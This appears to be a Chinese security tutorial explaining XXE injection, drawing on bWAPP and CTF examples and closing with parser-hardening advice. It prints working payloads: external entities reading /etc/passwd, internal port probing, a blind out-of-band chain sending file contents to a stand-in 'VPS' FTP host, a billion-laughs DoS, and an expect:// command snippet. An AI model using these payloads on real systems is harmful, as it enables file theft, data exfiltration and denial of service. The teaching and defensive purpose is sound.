浅谈XML实体注入漏洞
Posted 疯猫网络
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了浅谈XML实体注入漏洞相关的知识，希望对你有一定的参考价值。
学习了XXE漏洞,自己来总结一下,如果有什么写的不到位，不够好的地方，还请师傅们指出。
0×00 XXE漏洞
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。
0×01 XML
既然说到XML，就先学习一波XML。
- XML被设计为传输和存储数据，其焦点是数据的内容。
- html被设计用来显示数据，其焦点是数据的外观。
XML把数据从HTML分离，XML是独立于软件和硬件的信息传输工具。
基本语法：
- 所有 XML 元素都须有关闭标签。
- XML 标签对大小写敏感。
- XML 必须正确地嵌套。
- XML 文档必须有根元素。
- XML 的属性值须加引号。
- 实体引用，这里看个例子，如果你把字符 “<” 放在 XML，素中，会发生错误，这是因为解析器会把它当作新元素的开始。这样会产生XML错误：
`<message>hello < world</message>`,为了避免错误。我们用实体引用`<`来代替”<”字符。XML中，有5个预定义的实体引用。
- XML中的注释，在XML中编写注释的语法与 HTML 的语法很相似。
<!-- -->
- 在 XML 中，空格会被保留,多个空格不会被合并为一个。
<bookstore> <!--根元素--><book category="COOKING"> <!--bookstore的子元素，category为属性--><title>Everyday Italian</title> <!--book的子元素，lang为属性--><author>Giada De Laurentiis</author> <!--book的子元素--><year>2005</year> <!--book的子元素--><price>30.00</price> <!--book的子元素--></book> <!--book的结束--></bookstore> <!--bookstore的结束-->
0×02 DTD
文档类型定义（DTD）可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中，也可作为一个外部引用。带有DTD的XML文档实例
<?xml version="1.0"?><!DOCTYPE note [<!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型--> ]><note><to>Y0u</to><from>@re</from><head>v3ry</head><body>g00d!</body></note>
当使用外部DTD时，通过如下语法引入。
<!DOCTYPE root-element SYSTEM "filename">
外部DTD实例
<?xml version="1.0"?><!DOCTYPE root-element SYSTEM "test.dtd"><note><to>Y0u</to><from>@re</from><head>v3ry</head><body>g00d!</body></note>
test.dtd：
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型--><!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型--><!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
源码
- PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理，而实体会被展开。
不过，被解析的字符数据不应当包含任何&，<，或者>字符，需要用`&` `<` `>`实体来分别替换
- CDATA意思是字符数据，CDATA 是不会被解析器解析的文本，在这些文本中的标签不会被当作标记来对待，其中的实体也不会被展开。
DTD元素
DTD属性
属性声明使用以下语法
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
DTD实例
<!ATTLIST payment Hu3sky CDATA "H">
XML实例
<payment Hu3sky="H" />
以下是属性类型的选项
默认值参数可以使用下列值:
DTD-实体(重要)
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可以在内部或外部进行声明
内部实体
<!ENTITY 实体名称 "实体的值">
外部实体
<!ENTITY 实体名称 SYSTEM "URL">
参数实体
<!ENTITY %实体名称 "值">
or
<!ENTITY %实体名称 SYSTEM "URL">
内部实体例子
<?xml version="1.0"?><!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "Hu3sky"> ]><note><name>&hack3r;</name></note>
结果
参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name; ]>
`%name`(参数实体)是在DTD中被引用的，而`&name;`是
在xml文档中被引用的。
XXE主要是利用了DTD引用外部实体导致的漏洞。
0×03 攻击思路
1. 引用外部实体远程文件读取
2. Blind XXE
3. DoS
外部实体引用,有回显
读取任意文件
例子一
这里我用bWAPP平台上的一道XXE的题目来说明
题目是这样的，我们点击这个按钮然后抓包看看
可以看到xxe-1.php页面以POST方式向xxe-2.php页面传输了XML数据，既然是XML数据，我们就可以自己增加一个恶意外部实体然后再原本的XML数据中进行实体调用，来进行XXE攻击，如下：
可以看到，成功的读取了robots.txt中的内容，这里的hu3sky是我们定义的一个外部实体。
为了更好理解原理，我们来看一看xxe-2.php的源码。
主要代码在这。
可以看到这里直接用了`simplexml_load_string()` ，simplexml_load_string() 函数的作用是把XML 字符串载入对象中。函数获取xml内容，并没有做任何过滤，$login获取login标签里的内容，最后拼接到$message显示在屏幕上
例子二
jarvisoj上的一道题目API调用
这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。
进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框，我们对其进行抓包
发现了json数据，修改发现可以被解析
。一开始没有思路，后来看了wp，发现是要把json处改为xml。所以就知道了，这题是xxe。修改json处，构造一个xml表单进行xml注入，得到flag。
检测内网端口
有回显时，直接发送payload：
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE XXE [ <!ELEMENT name ANY > <!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]><root><name>&XXE;</name></root>
当我们检测80端口时，80端口开放，这时会返回页面报错信息(记得url编码。因为页面会解码一次)，如下：
当我们检测3389端口，3389端口未开放，端口未开放时返回情况如下：
Blind XXE
如果服务器没有回显，只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。
所以，在没有回显的情况下如何来利用XXE
思路：
1. 客户端发送payload 1给web服务器
2. web服务器向vps获取恶意DTD，并执行文件读取payload2
3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP
4. 通过VPS获得回显（nc监听端口）
本地客户端(payload 1 )
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>
由于web端会解码，所以需要我们先html实体编码一次
payload 2 也就是test.xml的内容(VPS)
<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>"> %int; %trick;
这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload，第二步是一个实体嵌套，trick是远程访问ftp协议所携带的内容
DOS
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串，然后一个 lol2 实体引用了 10 次 lol 实体，一个 lol3 实体引用了 10 次 lol2 实体，此时一个 lol3 实体就含有 10^2 个 “lol” 了，以此类推，lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。
命令执行
php环境下，xml命令执行需要php装有expect扩展，但是该扩展默认没有安装，所以一般来说，比较难利用，这里就只给出代码了
<?php $xml = <<<EOF <?xml version = "1.0"?><!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]><x>&f;</x>EOF; $data = simplexml_load_string($xml); print_r($data); ?>
0×04 防御XXE
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
#过滤用户提交的XML数据
过滤关键字：<\!DOCTYPE和<\!ENTITY，或者SYSTEM和PUBLIC。
不允许XML中含有自己定义的DTD
以上是关于浅谈XML实体注入漏洞的主要内容，如果未能解决你的问题，请参考以下文章
09.27安全帮®每日资讯：思科互联网操作系统发现执行任意代码高危漏洞；WebSphere XML外部实体注入（XXE）漏洞